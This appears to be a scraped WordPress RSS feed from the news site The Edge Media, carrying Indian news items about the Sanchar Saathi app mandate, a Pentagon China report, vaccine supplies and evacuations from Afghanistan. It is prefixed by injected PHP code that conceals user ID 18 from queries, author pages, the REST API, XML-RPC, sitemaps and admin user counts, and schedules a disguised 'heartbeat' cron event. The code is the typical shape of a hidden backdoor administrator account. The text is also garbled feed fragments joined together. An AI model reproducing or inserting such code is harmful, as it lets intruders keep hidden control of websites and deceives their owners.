add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Government Orders Mandatory Pre Installation of Sanchar Saathi App on All New Mobile Devices in India appeared first on The Edge Media.
]]>As per the order issued on November 28, any phone that is produced in India or brought into the country, after the 90 day window, must include the application by default.
The directive states that every manufacturer and importer supplying mobile handsets for use in India, must ensure the Sanchar Saathi app specified by the Department of Telecommunications, is included on all devices manufactured or imported once the 90 period ends.
For phones, already built and presently moving through sales channels, companies must deliver the application through a software update.
All manufacturers and importers covered under this order, must file compliance reports with the Department of Telecommunications within 120 days from the date of issuance.
Sanchar Saathi allows users to report suspicious activity, tied to the International Mobile Equipment Identity (IMEI) number and to check whether an IMEI used by a device is genuine.
Tampering with telecom identifiers, such as the 15 digit IMEI number is classified as a non bailable offence and may lead to jail time of up to 3 years financial penalties reaching up to 50 lakh rupees or both under the Telecommunications Act, 2023.
Through the app, mobile subscribers can also report fraudulent calls, missing devices and similar concerns.
The Department of Telecommunications has directed mobile brands to ensure the pre installed Sanchar Saathi app is clearly visible and easy to access during the first device setup and that none of its functions are blocked or limited.
The order notes that action will be taken under the Telecommunications Act 2023, the Telecom Cyber Security Rules 2024 and other applicable laws if companies do not comply. All major phone makers including Apple, Samsung, Google, Vivo, Oppo and Xiaomi currently manufacture handsets in India.
In a related move, the central government recently issued instructions requiring app based communication platforms, such as WhatsApp Signal and Telegram to stay continuously linked to a user’s active SIM card.
Within 90 days, every web version of these apps, must log users out automatically, at least once every 6 hours, after which users may sign in again by linking the device through a QR code.
The post Government Orders Mandatory Pre Installation of Sanchar Saathi App on All New Mobile Devices in India appeared first on The Edge Media.
]]>The post India reacts to Pentagon’s China report: ‘Don’t accept illegal Chinese occupation’ appeared first on The Edge Media.
]]>
The Ministry of External Affairs official spokesperson Arindam Bagchi was responding to questions on the Pentagon Report at the weekly briefing, and said, “We have taken note of the US Department of Defence’ report to US Congress which inter-alia also makes a reference to construction activities by Chinese side along with the India-China border areas particularly in the Eastern Sector”.
The post India reacts to Pentagon’s China report: ‘Don’t accept illegal Chinese occupation’ appeared first on The Edge Media.
]]>The post J P Nadda said that the Government is Planning a Massive Increase in COVID-19 Vaccination Supplies. appeared first on The Edge Media.
]]>A senior government official told reporters late last month that the government could only expect to get roughly 150 million doses in August.
Since then, India’s medicines regulator has approved the Johnson & Johnson vaccine – though the company has yet to commit to delivery date – and commercial manufacturing of Russia’s Sputnik V could begin in India as well.
The post J P Nadda said that the Government is Planning a Massive Increase in COVID-19 Vaccination Supplies. appeared first on The Edge Media.
]]>The post The Government Plans to Relocate Indian People from Mazar-e-Sharif, Afghanistan appeared first on The Edge Media.
]]>The government’s decision to evacuate Indian citizens comes as Taliban terrorists prepare to strike Mazar-e Sharif. After a blitz across the north that prompted tens of thousands of civilians to evacuate their homes for the relative safety of Kabul and other cities, the Taliban took control of six Afghan provincial capitals on Tuesday.
As the Taliban pushed towards Kandahar, amidst fighting and violence, India evacuated all of its India-based soldiers by special flight earlier in July. The Indian mission is now staffed solely by loyal Afghan personnel employed by the Indian government.
The post The Government Plans to Relocate Indian People from Mazar-e-Sharif, Afghanistan appeared first on The Edge Media.
]]>